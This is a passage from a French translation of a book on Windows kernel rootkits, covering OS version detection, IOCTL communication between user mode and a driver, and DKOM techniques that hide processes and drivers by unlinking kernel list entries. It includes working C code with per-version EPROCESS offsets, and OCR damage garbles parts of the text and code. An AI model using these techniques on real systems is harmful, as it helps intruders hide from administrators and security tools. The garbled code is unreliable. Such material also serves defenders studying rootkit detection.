Voici la dfinition de la structure OSVERSIONINFO


typedef struct _OSVERSIONINFOEX {
DWORD dwOSVersionlnfoSize;

Manipulation directe des objets du noyau 189

Chapitre 7

DWORD dwMajorVersion;
DWORD dwMinorVersion;
DWORD dwBuildNumber;
DWORD dwPlatformld;
TCHAR szCSDVersion[128];
WORD wServicePackMajor;
WORD wServicePackMinor;
WORD wSuiteMask;
BYTE wProductType;
BYTE wReserved;
} OSVERSIONINFOEX, *P0SVERSI0NINF0EX, *LPOSVERSIONINFOEX;

Aprs lavoir dclare dans votre code, passez un pointeur vers cette structure lors de
lappel de GetVersionEx. Voici le prototype de la fonction :
BOOL GetVersionEx( LPOSVERSIONINFO lpVersionlnfo );

Suite lappel, vous devez avoir identifi la version du systme dexploitation. Voici
un exemple dappel utilisant la structure OSVERSIONINFOEX pour connatre la version du
systme et le niveau du Service Pack :
void DetermineOSVersion()

{
OSVERSIONINFOEX osvi;
// Rcupre la taille de la structure
osvi.dwOSVersionlnfoSize = sizeof(OSVERSIONINFOEX); if
(GetVersionEx((OSVERSIONINFO *) &osvi))

{
switch (osvi.dwPlatformld)

{
// Test pour la famille de produits Windows NT
case VER_PLATF0RM_WIN32_NT:
// Test du produit if ( osvi.dwMajorVersion == 4
&& \ osvi.dwMinorVersion == 0)

{
fprintf(stderr, "Microsoft Windows NT 4.0 ");
II..
.

}
else if ( osvi.dwMajorVersion == 5 && \
osvi.dwMinorVersion == 0 && \
osvi.wServicePackMajor == 3)

{
fprintf(stderr, "Microsoft Windows 2000 SP 3 ");

//...
}
}
}

break;

Infiltrations du noyau Windows

190 Rootkits

Une fois la version du systme identifie, le rootkit est actif et il est possible dajuster
les offsets des structures utiliser avec la technique DKOM. Limportance de ce point
sera mise en vidence dans la prochaine section.

Autodtermination du mode noyau


Les appels API en mode utilisateur introduits prcdemment ne constituent pas la
seule mthode permettant didentifier la version du systme. Le noyau contient aussi
une fonction qui donne accs aux informations de version. Sur les systmes Windows
plus anciens, vous devez appeler PsGetVersion et analyser la chane Unicode pour
obtenir les informations de Service Pack. Voici le prototype de la fonction :
BOOLEAN PsGetVersion(
PULONG Maj orVersion OPTIONAL,
PULONG MinorVersion OPTIONAL,
PULONG BuildNumber OPTIONAL,
PUNICODE_STRING CSDVersion OPTIONAL

);
Les versions plus rcentes de Windows, telles que XP ou 2003, ont une fonction
RtlGetVersion. Elle reoit en argument un pointeur vers une structure 0SVERSI0NINFOW ou 0SVERSI0NINF0EXW, un fonctionnement semblable lappel Win32 en mode
utilisateur dcrit plus haut. Le prototype de RtlGetVersion est pratiquement le mme
que celui de la version Win32 :
NTSTATUS RtlGetVersion( IN OUT PRTL_0SVERSI0NINF0W lpVersionlnformation );

Dtermination de la version du systme d'exploitation partir du Registre


Le Registre est une mine dinformations prcieuse et peut aussi tre utilis pour
identifier la version du systme dexploitation. Vous pouvez le faire dans le mode
utilisateur ou partir du driver dans le mode noyau. Notez que, si vous dcidez
dinterroger le Registre partir de votre driver, une portion du Registre risque de ne
pas tre disponible si le driver tente de linterroger dans une phase prcoce du
processus de dmarrage.
Voici les cls importantes interroger :
H HKEY_LOCAL_MACHINE\S0FTWARE\Microsott\Windows NT\CurrentVer- sion\CSDVersion

contient la chane pour le Service Pack.


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber

contient le numro de build du systme.

Chapitre 7

Manipulation directe des objets du noyau 191

HKEY_LOCAL_MACHINE\SOFTWARE\Mierosoft\Windows NT\CurrentVer-

contient la fois les versions majeure et mineure du noyau,


spares par un point dcimal.
sion\CurrentVersion

A partir du mode utilisateur, vous pouvez interroger ces cls une fois que vous avez
reu le handle appropri en appelant RegQueryValue ou RegQueryValueEx. Le code
suivant exemplifie linterrogation de ces cls partir dun driver :
// Interroge le Registre pour obtenir la version du systme d'exploitation
RTL_QUERY_REGISTRY_TABLE paramTable[3];
UNICODE_STRING ac_csdVersion;
UNICODE_STRING ac_currentVersion ;
// Initialise les variables
RtlZeroMemory(paramTable, sizeof(paramTable));
RtlZeroMemory(&ac_currentVersion, sizeof(ac_currentVersion));
RtlZeroMemory(&ac_csdVersion, sizeof(ac_csdVersion));
paramTable[0].Flags = RTL_QUERY_REGISTRY_DIRECT;
paramTable[0].Name = L"CurrentVersion";
paramTable[0].EntryContext = &ac_currentVersion;
paramTable[0].DefaultType = REG_SZ;
paramTable[0].DefaultData = &ac_currentVersion;
paramTable[0].DefaultLength = sizeof(ac_currentVersion);
paramTable[1].Flags = RTL_QUERY_REGISTRY_DIRECT;
paramTable[1].Name = L"CSDVersion";
paramTable[1].EntryContext = &ac_csdVersion;
paramTable[1].DefaultType = REG_SZ;
paramTable[1].DefaultData = &ac_csdVersion;
paramTable[1].DefaultLength = sizeof(ac_csdVersion);
// Interroge le Registre
RtlQueryRegistryValues( RTL_REGISTRY_WINDOWS_NT,
NULL,
paramTable,
NULL,
NULL );
// Faire quelque chose ici avec les donnes si la requte russit.
// Cela peut inclure l'initialisation de certaines variables globales // pour
stocker le numro de Service Pack, etc.
// Libre les chanes UNICODE_STRING cres par la requte.
RtlFreeUnicodeString(&ac_currentVersion);
RtlFreeUnicodeString(&ac_csdVersion);

Comme vous pouvez le voir, vous disposez de diffrentes mthodes pour connatre la
version du systme dexploitation. Celle que vous choisirez dpendra du type de
rootkit que vous implmentez.
Dans la prochaine section, nous verrons comment communiquer des informations au
driver, telles que les numros de version, partir de la portion en mode utilisateur.

192 Rootkits

Infiltrations du noyau Windows

Communication avec un driver partir du mode utilisateur


Si vous utilisez un processus en mode utilisateur pour passer des commandes et des
informations de contrle ou des donnes dinitialisation un rootkit implment sous
forme de driver, il vous faudra utiliser des codes de contrle dE/S (IOCTL). Ces
codes sont transports dans des paquets de requtes dE/S (IRP) si le code IRP
estIRP_MJ_DEVICE_CONTROL OU IRP_MJ_INTERNAL_DEVICE_CONTROL.
Le processus et le driver doivent saccorder sur le type des IOCTL. Cest gnralement
accompli au moyen dun fichier den-tte partag. Le fichier den-tte peut ressembler
ce qui suit :
// Fichier ioctlcmd.h utilis par un processus utilisateur
// et un driver pour s'accorder sur les IOCTL utiliser. Il doit
// tre inclus dans le code utilisateur et celui du driver.
#define FILE_DEV_DRV
0x00002a7b

/////////////////////////////////////////////////////////////////
///
// Ce sont les IOCTL utiliser par le driver et le programme utilisateur. //
Celui-ci envoie les IOCTL au driver // l'aide de DeviceIoControl()
#define IOCTL_DRV_INIT (ULONG) CTL_C0DE(FILE_DEV_DRV,0X01,
METHOD_BUFFERED,
FILE_WRITE_ACCESS)
#define IOCTL_DRV_VER (ULONG) CTL_CODE(FILE_DEV_DRV,0X02,
METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define IOCTL_TRANSFER_TYPE(_iocontrol) (_iocontrol & 0x3)

Dans cet exemple, il y a deux IOCTL : I0CTL_DRV_INIT et IOCTL_DRV_VER. Les deux


emploient la mthode de passage dE/S appele METHOD BUFFERED. Avec cette mthode,
le gestionnaire dE/S copie les donnes de la pile utilisateur vers la pile du noyau. En
se rfrant au fichier den-tte, le programme utilisateur peut utiliser la fonction
DeviceloControl pour dialoguer avec le driver. Le programme ncessite un handle sur
le driver et le code IOCTL utiliser. Avant de pouvoir compiler le programme
utilisateur, vous devez inclure winioctl.h avant votre propre fichier personnalis. h
contenant vos codes IOCTL.
Lexemple suivant reprsente la portion utilisateur du rootkit. Elle inclut winioctl. h
ainsi que le fichier den-tte personnalis avec les IOCTL, ioctlcmd. h. Une fois le
handle vers le driver rcupr, le code passe un IOCTL pour la fonction dinitialisation
:
#include
#include
#include
#include

<windows.h>
<stdio.h>
<string.h>
<winioctl.h>

Chapitre 7

Manipulation directe des objets du noyau 193

#include "fu.h"
#include ". .\SYS\ioctlcmd. h'' int main(void)

{
gh_Device = INVALID_HANDLE_VALUE; I l Handle sur le driver du rootkit.
I l Ouvre ici un handle sur le driver. Voir le Chapitre 2 pour les dtails,
if(!DeviceIoControl(gh_Device,
IOCTL_DRV_INIT,
NULL,
0,
NULL,
0,
&d_bytesRead,
NULL))

{
fprintf(stderr, "Error Initializing Driver.\n");

}
}
Dans la fonction DriverEntry du rootkit, vous devez crer lobjet priphrique avec le
nom associ et le lien symbolique vers le priphrique et dfinir la table MajorFunction
dans le driver avec les pointeurs vers toutes les fonctions qui greront les diffrents
types de IRP_MJ_*. Nous avons couvert ce sujet au Chapitre 2. Nous allons les revoir
brivement ici.
Lobjet priphrique et le lien symbolique doivent tre crs de manire que la portion
en mode utilisateur du rootkit puisse ouvrir un handle sur le driver. Dans le code
suivant, RootkitDispatch gre le type IRP_MJ_DEVICE_CONTROL, qui est lIRP utilis
lorsque la portion en mode utilisateur envoie un IOCTL au driver laide de la
fonction DeviceloControl. Il est galement possible de spcifier des fonctions pour
grer le plug-and-play, louverture, la fermeture, le dchargement et dautres
vnements, mais cela sortirait du cadre de notre discussion.
const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[] = L\\Device\\msdirectx" ;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)

{
NTSTATUS
ntStatus;
UNICODE_STRING
deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
// Dfinit le nom de priphrique et le lien symbolique
RtUnitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer );

194 Rootkits

Infiltrations du noyau Windows

I l Cre le priphrique
ntStatus = IoCreateDevice ( DriverObject,
0, I l Pour l'extension du driver
&deviceNameUnicodeString, I l Nom de
'priphrique
FILE_DEV_DRV,
0,
TRUE,
&g_RootkitDevice ); if(!
NT_SUCCESS(ntStatus))

{
DebugPrint(("Failed to create device!\n));
return ntStatus;

}
// Cre le lien symbolique
ntStatus = IoCreateSymbolicLink (&devicel_inkUnicodeString,
&deviceNameUnicodeString );
if(! NT_SUCCESS(ntStatus))

{
IoDeleteDevice(DriverObj ect->DeviceObj ect);
DebugPrint("Failed to create symbolic link!\n");
return ntStatus;

}
// Cre un pointeur vers notre gestionnaire d'IRP pour // l'IRP
IRP_MJ_DEVICE_CONTROL appel. Ce pointeur // est pour la table de
pointeurs de fonctions dans le driver. DriverObj ect->Maj
orFunction[IRP_MJ_DEVICE_CONTROL] =
RootkitDispatch;

}
La fonction RootkitDispatch est dcrite ci-aprs. Elle obtient dabord lemplacement
actuel de la pile de lIRP pour pouvoir rcuprer les tampons dentre et de sortie et
dautres informations essentielles. La pile de lIRP contient le code de la fonction
majeur de lIRP. Souvenez-vous, il sagit de IRP_MJ_DEVICE_CONTROL pour les IOCTL
provenant de notre processus utilisateur. Les autres donnes importantes dans la pile
de lIRP sont les codes IOCTL. Ce sont les codes de contrle de ioct- lcmd. h
mentionns plus haut. Comme dj indiqu, ils doivent tre identiques pour le code du
driver et celui du mode utilisateur.
NTSTATUS RootkitDispatch(IN PDEVICE_OBUECT DeviceObject,
IN PIRP Irp)

{
PI0_STACK_L0CATION irpStack;
PVOID
inputBuffer;
PVOID
outputBuffer;
ULONG
inputBufferLength;

Manipulation directe des objets du noyau 195

Chapitre 7

ULONG
outputBufferLength ;
ULONG
ioControlCode;
NTSTATUS
ntstatus;
I l Dfinit la requte comme tant russie ntstatus = Irp>IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
// Obtient un pointeur vers l'emplacement courant dans l'IRP.
// C'est l'endroit o se trouvent le code de fonction // et les
paramtres.
irpStack = IoGetCurrentlrpStackLocation (Irp);
// Obtient le pointeur vers le tampon d'E/S et sa longueur inputBuffer =
Irp->AssociatedIrp.SystemBuffer;
inputBufferLength = irpStack>Parameters.DeviceloControl.InputBufferLength; outputBuffer
=
Irp->AssociatedIrp.SystemBuffer;
outputBufferLength = irpStack>Parameters.DeviceloControl.OutputBufferLength; ioControlCode
=
irpStack>Parameters.DeviceloControl.IoControlCode; switch (irpStack>MajorFunction) { case IRP_MJ_CREATE: break;
case IRP_MJ_CLOSE:
break;
// Ces IRP nous intressent,
// ils viennent de la portion en mode utilisateur,
case IRP_MJ_DEVICE_CONTROL: switch (ioControlCode) {
case IOCTL_DRV_INIT:
// Insrez du code pour initialiser le rootkit
// si ncessaire.
break;
case IOCTL_DRV_VER:
// Retournez les informations de version du rootkit
// si vous le souhaitez.
break;

}
break;

}
IoCompleteRequest( Irp, I0_N0_INCREMENT );
return ntstatus;

}
Vous devriez maintenant avoir compris comment communiquer avec un driver, votre
rootkit, partir dun processus en mode utilisateur. Tout cela ntait toutefois que la
partie ennuyeuse. Voyons maintenant ce quun rootkit dans le noyau peut faire avec la
technique DKOM.

196 Rootkits

Infiltrations du noyau Windows

Dissimulation d'objets du noyau avec DKOM


Tous les systmes dexploitation stockent des informations de reporting en mmoire,
gnralement sous forme de structures ou dobjets. Lorsquun processus utilisateur
demande au systme certaines informations, telles quune liste de processus, de threads
ou de drivers, ces objets sont renvoys lutilisateur. Puisquils sont en mmoire, vous
pouvez les altrer directement. Il nest pas ncessaire de hooker lappel API ni de
filtrer la rponse.

Dissimulation de processus
Les systmes dexploitation Windows NT/2000/XP/2003 grent des objets Executive
qui dcrivent les processus et les threads. Ces objets sont rfrencs par Taskmgr.exe et
dautres outils de reporting pouvant lister les processus qui sexcutent sur la machine.
Par exemple, ZwQuerySystemlnformation utilise ces objets pour lister les processus
actifs. Si vous comprenez le rle de ces objets, vous pouvez les modifier pour masquer
des processus, lever le niveau de privilges de processus ou apporter dautres
changements.
La liste des processus actifs est obtenue en parcourant une liste doublement chane
rfrence dans la structure EPROCESS de chaque processus. Plus particulirement, cette
structure contient une structure LIST_ENTRY contenant les membres FLINK et BLINK. Ce
sont deux pointeurs vers les processus voisins situs juste avant et juste aprs le
descripteur de processus courant.
Pour cacher un processus, vous devez comprendre la structure de EPROCESS. La
premire chose faire est den rcuprer une en mmoire. Sachez quelle change
pratiquement chaque nouvelle release du systme dexploitation, mais vous pourrez
toujours rcuprer un pointeur vers le processus actif courant en appelant
PsGetCurrentProcess et en obtenir sa structure EPROCESS. Cette fonction est en fait un
alias pour la fonction IoGetCurrentProcess. Si vous dsassemblez cette fonction, vous
verrez quil ne sagit que de deux assignations et dun retour :
mov eax, fs :
0x00000124; mov eax,
[eax + 0x44]; ret

Pourquoi ce code fonctionne-t-il ? Windows possde un bloc de contrle de processeur


appel KPRCB (Kernel Processor Control Block) qui est unique et se trouve
ladresse 0xFFDFF120 dans lespace du noyau. Le code assembleur pour IoGetCurrentProcess va loffset 0x124 partir du registre FS. Cest le pointeur vers le bloc

Chapitre 7

Manipulation directe des objets du noyau 197

courant. A partir de ce bloc, nous pouvons suivre le pointeur de la structure


KTHREAD vers le bloc EPROCESS du processus actuel. Nous parcourons ensuite la liste
doublement chane des blocs EPROCESS jusqu ce que nous trouvions le processus
que nous dsirons cacher (voir Figure 7.1).
ETHREAD

Figure 7.1

Cheminement
depuis
le
bloc
KPRCB jusqu' la
liste chan de
processus.

Une manire de trouver un processus est dutiliser son identifiant appel le PID
(.Process Identifier). Ce PID se trouve un certain offset dans EPROCESS, qui varie
selon la version du systme. Cest l que la dtermination de version ralise plus
haut entre enjeu. Le Tableau 7.1 rcapitule les divers offsets par version de systme
dexploitation.
Tableau 7.1 : Offsets vers le PID et FLINK dans le bloc EPROCESS
Windows NT Windows 2000

Windows XP

Windows XP SP2

Windows 2003

Offset
de PID

0x94

0x9C

0x84

0x84

0x84

Offset
de FLINK

0x98

0xA0

0x88

0x88

0x88

198 Rootkits

Infiltrations du noyau Windows

Lextrait de code suivant utilise ces offsets pour parcourir la liste chane des
processus jusqu trouver un certain PID. La fonction retourne ladresse du bloc
EPROCESS demand par la variable terminate_PID :
// FindProcessEPROC reoit le PID du processus trouver
// et retourne l'adresse du bloc EPROCESS pour le processus voulu.
DWORD FindProcessEPROC (int terminate_PID)

{
DWORD eproc
= 0x00000000;
int current_PID
= 0;
int start_PID
= 0;
int i_count
= 0;
PLIST_ENTRY plist_active_procs;
if (terminate_PID == 0) return
terminate_PID;
// Rcupre l'adresse du bloc EPROCESS courant
eproc = (DWORD) PsGetCurrentProcess(); start_PID
= *((int *)(eproc+PIDOFFSET)); current_PID =
start_PID; while(1)

{
if(terminate_PID == current_PID) // Trouv return eproc;
else if((i_count >= 1) && (start_PID == current_PID))

{
return 0x00000000;

}
else { // Avance dans la liste
plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
eproc = (DWORD) plist_active_procs->Flink;
eproc = eproc - FLINKOFFSET;
current_PID = *((int *)(eproc+PIDOFFSET));
i_count++;

}
}

}
Cacher un processus par son PID nest pas toujours une mthode pratique. Puisque les
PID sont choisis pseudo-alatoirement, il est plus fiable pour un rootkit de masquer un
processus par son nom. Le nom de processus est galement trouv dans le bloc
EPROCESS sous forme dune chane de caractres (un array). Pour trouver son offset
dans EPROCESS, vous pouvez appeler la fonction suivante partir de la fonction
DriverEntry du rootkit :
ULONG GetLocationOfProcessName()

{
ULONG ul_offset;
PEPROCESS CurrentProc = PsGetCurrentProcess();

Chapitre 7

Manipulation directe des objets du noyau 199

Il Cette mthode choue si la taille du bloc EPROCESS Il


dpasse celle de la page.
for(ul_offset = 0; ul_offset < PAGE_SIZE; ul_offset++)

{
if( !strncmp( "System", (PCHAR) CurrentProc + ul_offset,
strlen("System")))

{
return ul_offset;

}
}
return (ULONG) 0;

}
retourne loffset dans EPROCESS du nom de processus. Cela
fonctionne car DriverEntry est toujours appel par le processus System si le driver a
t charg en utilisant le Gestionnaire de contrle de services, le SCM (Service
Control Manager). Cette fonction scanne la mmoire de la structure EPROCESS
courante en recherchant la chane "System". Lorsquelle est trouve, la fonction
retourne loffset cette technique a t dabord trouve par Sysinternals et est
utilise par de nombreux outils de la socit. Vous pouvez modifier FindProcessEPROC
afin de rechercher le processus par son nom plutt que par son PID.
GetLocationOf ProcessName

Noubliez toutefois pas que les noms de processus ne sont pas uniques. Le nom
lintrieur de la structure EPROCESS est une chane de 16 octets ne reprsentant
gnralement que les 16 premiers caractres du nom du fichier binaire sur disque
contenant le code. Seul le PID identifie de faon unique un processus.
Une fois que vous avez trouv le bloc EPROCESS du processus cacher, vous devez
changer la valeur du pointeur FLINK du bloc EPROCESS qui le prcde et le pointeur
BLINK de celui qui le suit pour maintenir la cohrence de la liste chane. Pour cela,
donnez-leur respectivement la valeur des pointeurs FLINK et BLINK du bloc
dissimuler (voir Figure 7.2).
Le code suivant appelle FindProcessEPROC pour trouver le bloc EPROCESS spcifi par
PID_TO_HIDE. Elle change ensuite le bloc EPROCESS retourn afin de le retirer de la liste
chane :
DWORD eproc = 0;
PLIST_ENTRY plist_active_procs;
// Trouve le EPROCESS dissimuler eproc
= FindProcessEPROC (PID_TO_HIDE); if
(eproc == 0x00000000)
return STATUS_INVALID_PARAMETER;

200 Rootkits

Infiltrations du noyau Windows

plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);


Il Change FLINK et BLINK dans le bloc prcdant Il et le
bloc suivant EPROCESS, respectivement.
*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
*((DWORD *)plist_active_procs->Flink+1 ) = (DWORD) plist_active_procs->Blink;
// Change les pointeurs FLINK et BLINK du processus cach // pour qu'une fois
drfrencs ils pointent vers une zone valide // de la mmoire.
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);

Figure 7.2

Illustration de la
liste de processus
actifs aprs la
dissimulation de
notre processus.

Si le bloc EPROCESS est trouv, le code modifie, comme introduit prcdemment, les
pointeurs FLINK et BLINK des blocs contigus.
Notez que les deux dernires lignes changent les pointeurs FLINK et BLINK du
processus masqu de manire les faire pointer vers eux-mmes. Si cela ntait pas

Chapitre 7

Manipulation directe des objets du noyau 201

fait, le rootkit pourrait produire un plantage avec cran bleu en quittant le processus.
Cela est d la fonction prive de noyau PspExitProcess.
Comme vous pouvez limaginer, lorsquun processus est dtruit, la liste chane des
processus doit tre mise jour pour reflter les changements. Cest pour cela que les
pointeurs de voisinage des blocs contigus ont t modifis. Mais quarrive-t-il au
processus cach lorsque lun des voisins quitte ? Un des pointeurs ne rfrencerait
alors plus un processus valide, voire mme une rgion mmoire valide. Pour viter
cela, les deux dernires lignes du code modifient les pointeurs pour quils se
rfrencent eux-mmes. Ainsi, ils sont toujours valides lorsque PspExitProcess est
appel.
Notes sur la planification d'excution de processus
De prime abord, on pourrait penser que la dissimulation d'un processus en enlevant
son descripteur de la liste chane des blocs EPROCESS l'empcherait de se voir
allouer une tranche de temps dans laquelle s'excuter. Nous avons pu observer que
cela n'tait pas le cas. L'algorithme de planification de Windows est trs
complexe, excut avec une granularit de niveau thread et intgrant un systme de
priorits et de premption. Ainsi, un thread est prvu pour tre excut pendant
un certain quantum de temps, qui est l'intervalle s'coulant avant que le systme
n'interrompe l'excution du thread pour vrifier s'il existe d'autres threads de
priorit gale ou suprieure qui ncessiteraient de rduire le niveau de priorit
du thread courant. Un processus peut possder plusieurs threads d'excution,
chacun d'eux tant reprsent par une structure ETHREAD.

Dans la prochaine section, nous vous prsentons une technique similaire pour masquer
des drivers. A linstar des processus, ils sont galement stocks sous forme dune liste
doublement chane dans le noyau.

Dissimulation de drivers
Il sagit dune tape galement importante dun rootkit. Lun des premiers endroits que
ladministrateur examinera sil suspecte un intrus est la liste des drivers. Lutilitaire
Drivers. exe du kit de ressources de Microsoft est loutil quun administrateur peut
utiliser pour lister les drivers dun systme. Dautres outils, tels que le Gestionnaire de
priphriques, ou WDM (Windows Device Manager), permettent galement dafficher
des informations sur les drivers. Outre ces outils, de nombreux fabricants tiers
fournissent leurs propres utilitaires.
Tous ces outils sappuient sur la fonction de noyau ZwQuerySystemlnformation. Cette
fonction, avec une valeur 11 pour le paramtre SYSTEM_INFORMATION_CLASS,

202 Rootkits

Infiltrations du noyau Windows

retourne la liste des modules chargs dans le noyau. Si vous avez lu les chapitres
prcdents, cette fonction devrait vous sembler familire. Cest elle qui a t hooke
au Chapitre 4 dans la section sur le hooking de la table SSDT pour dissimuler des
processus, sauf que nous recherchions une classe dune autre catgorie.
Dans cette section, nous allons vous mettre dans la peau dun attaquant modifiant la
liste doublement chane de modules chargs, qui inclut votre rootkit, en utilisant la
technique DKOM sans hook du noyau, comme nous lavons fait dans la section
prcdente.
Lobjet MODULE_ENTRY est utilis par le noyau pour garder trace des drivers en mmoire.
Notez que le premier membre de la structure est de type LIST_ENTRY. Nous avons vu
prcdemment comment de telles entres fonctionnent et comment les altrer pour
faire disparatre un lment de la chane.
// Entre de module non documente dans la mmoire du noyau

//
typedef struct _MODULE_ENTRY {
LIST_ENTRY module_list_entry;
DWORD unknownl[4];
DWORD base;
DWORD driver_start;
DWORD unknown2;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;

Il...
} MODULE_ENTRY, *PMODULE_ENTRY;

Lastuce consiste ici trouver la liste chane. Dans le cas des processus, cest une
opration simple car vous pouvez toujours obtenir le bloc EPROCESS du processus
courant en appelant PsGetCurrentProcess. En revanche, il ny a pas dappel de ce
genre pour obtenir la liste des drivers.
Certains ont tent de la rechercher en mmoire, mais cette solution est loin dtre
optimale. Lorsque lon inspecte la mmoire pour essayer de trouver des fonctions qui
rfrencent la liste, il est courant dutiliser une signature. Toutefois, ces fonctions
changent selon le systme dexploitation. Dans Windows XP et les versions
ultrieures, le bloc KPRCB (Kernel Processor Control Block) contient des
informations supplmentaires au sein desquelles vous pouvez localiser la liste des
drivers, mais ce nest pas une solution viable si votre rootkit est install sur des
versions antrieures du systme dexploitation.

Chapitre 7

Manipulation directe des objets du noyau 203

Nous avons labor une mthode qui permet de trouver lemplacement de cette liste. A
laide de WinDbg, nous pouvons afficher les membres de la structure DRIVER OBJECT.
Les voici :
typedef struct _DRIVER_OBJECT {
short Type;
// Int2B
short Size;
// Int2B
PVOID DeviceObject;
// Ptr32 _DEVICE_OBJECT
DWORD Flags;
// Uint4B
PVOID DriverStart;
// Ptr32 Void
DWORD DriverSize;
// Uint4B
PVOID DriverSection;
// Ptr32 Void
PVOID DriverExtension;
// Ptr32 DRIVER EXTENSION
UNICODE STRING DriverName;
//
UNICODE STRING
UNICODE STRING HardwareDatabase; // Ptr32 UNICODE STRING
PVOID FastloDispatch;
// Ptr32 FAST 10 DISPATCH
PVOID Driverlnit;
// Ptr32
PVOID DriverStartlo; // Ptr32 PVOID DriverUnload; //
Ptr32 PVOID MajorFunction // [28] Ptr32 } DRIVER_OBJECT,
*PDRIVER_OBJECT;

Lun des champs non documents de cette structure est un pointeur vers la structure
MODULE_ENTRY du driver. Il est loffset 0x14 dans DRIVER_OBJECT, ce qui ferait de lui le
membre DriverSection de cette structure. En chargeant votre rootkit laide du
Gestionnaire de contrle de services (SCM), vous obtenez toujours un pointeur vers
lobjet DRIVER_OBJECT dans la fonction DriverEntry. Le code suivant illustre comment
trouver une entre arbitraire dans la liste des modules actifs :
DWORD FindPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)

{
PMODULE_ENTRY pm_current; if (DriverObject == NULL)
return 0;
// Drfrence l'offset 0x14 dans l'objet driver.
// Vous devriez maintenant avoir l'adresse d'une entre de module.
pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0x14)); if
(pm_current == NULL) return 0;
gul_PsLoadedModuleList = pm_current; return (DWORD) pm_current;

}
Une fois que vous avez trouv une entre dans la liste de modules, vous pouvez
parcourir la liste jusqu ce que vous trouviez le driver dissimuler. Ensuite, cest juste
une affaire de changement des pointeurs de voisinage FLINK et BLINK, comme

204 Rootkits

Infiltrations du noyau Windows

nous lavons vu dans la section prcdente. Cette mthode de dissimulation est


illustre la Figure 7.3 et dans lextrait de code suivant :
PMODULE_ENTRY pm_current;
UNICODE_STRING uni_hide_DriverName;
// Nous parcourons la liste de drivers sans synchronisation // pour plusieurs
threads. Nous ne pouvons lever le niveau d'IRQL // DISPATCH_LEVEL car nous
utilisons RtlCompareUnicodeString qui doit // tre appel au niveau
PASSIVE_LEVEL. pm_current = gul_PsLoadedModuleList;
while ((PMODULE_ENTRY)pm_current->le_mod.Flink!=gul_PsLoadedModuleList)

{
if ((pm_current->unk1 != 0x00000000) && (pm_current->driver_Path.Length !=
0)
{ // Compare le nom de la cible celui de chaque driver
if (RtlCompareUnicodeString(&uni_hide_DriverName, & ^(pm_current>driver_Name),
FALSE) == 0)
{ // Modifie les voisins
*((PDWORD)pm_current->le_mod.Blink)=(DWORD)
*pm_current->le_mod.Flink;
pm_current->le_mod.Flink->Blink = pm_current->le_mod.Blink; break;

}
} // Avance dans la liste
pm_current = (MODULE_ENTRY*)pm_current->le_mod.Flink;

Figure 7.3
La liste des entres
de drivers dans la
liste doublement
chane.

Chapitre 7

Manipulation directe des objets du noyau 205

Dans lextrait de code prcdent, pm current est utilis pour parcourir la liste et
rechercher le driver dissimuler, uni_hide_DriverName. Pour chaque module dans la
liste, la chane Unicode cible est compare celle qui est analyse dans la liste. Si les
noms correspondent, les pointeurs FLINK et BLINK des structures MODULE_ENTRY
contigus sont modifis.
Dans cet exemple, nous napportons aucun changement au module dissimul comme
nous lavons fait pour le processus. Cest un choix discutable qui repose sur le fait que
les drivers ne sont gnralement pas chargs et dchargs comme des processus. La
modification nest donc probablement pas requise.
Notez que la fonction qui compare les chanes Unicode doit tre appele au niveau
PASSIVE_LEVEL. Limportance de ce point est examine dans la section suivante.

Question de synchronisation
Parcourir la liste chane des processus actifs en utilisant directement la structure
EPROCESS est une opration dlicate, comme lest celle dinspection de la liste des
modules chargs. Les processus peuvent tre crs et dtruits par le noyau pendant que
le contexte du rootkit est en attente ou par un autre processeur si le rootkit est sur un
systme multiprocesseur. De mme, un driver peut aussi tre dcharg pendant que le
contexte du rootkit attend de pouvoir sexcuter.
Pour parcourir la liste des processus dune manire scurise, votre rootkit devrait
rcuprer le mutex appropri, PspActiveProcessMutex. Ce mutex nest pas export par
le noyau. Cest PsLoadedModuleResource qui contrle laccs la liste des drivers.
Une faon de trouver ces symboles, ou dautres, qui ne sont pas exports est
dinspecter la mmoire pour rechercher une squence particulire. Cette solution nest
pas trs lgante mais des preuves empiriques ont suggr sa viabilit. Linconvnient
dexplorer la mmoire est que la squence recherche est trs dynamique et diffre
mme avec la plus faible variation du systme dexploitation.
La traverse et la modification de ces listes deviennent prilleuses seulement en cas de
premption, lorsque le rootkit est mis en attente par lentre en activit dun autre
thread dans un autre processus. Cest le dispatcheur de noyau qui est responsable de
cette gestion, et il sexcute avec un IRQL DISPATCH LEVEL. Par consquent, si un
thread est excut avec ce mme niveau, il ne devrait pas tre touch

206 Rootkits

Infiltrations du noyau Windows

par le mcanisme de premption. Toutefois, dautres threads peuvent sexcuter sur


dautres processeurs de la machine. Aussi, pour viter la premption, il faut lever tous
les processeurs au niveau DISPATCH_LEVEL. Les seuls IRQL suprieurs ce niveau sont
ceux de priphriques, les DIRQL (Device IRQL), mais ils servent au traitement des
interruptions matrielles. Donc, si nous levons lIRQL de tous les processeurs
DISPATCH_LEVEL, nous bnficions dune scurit relativement bonne.
Vous devez faire attention ce que votre rootkit fait au niveau DISPATCH_LEVEL.
Certaines fonctions ne peuvent pas tre appeles un tel niveau dIRQL. Aussi, votre
rootkit ne devrait pas accder de la mmoire qui a t pagine vers le disque sous
peine de provoquer un plantage avec un cran bleu.
Votre rootkit aura besoin de variables globales pour savoir o il en est dans son
processus dlvation des processeurs ce niveau et pour signaler quand il quitte. Nous
les appellerons AllCPURaised et NumberOfRaisedCPU. La variable A11CPU- Raised agit
comme une valeur boolenne. Lorsquelle est gale 1, tous les processeurs ont t
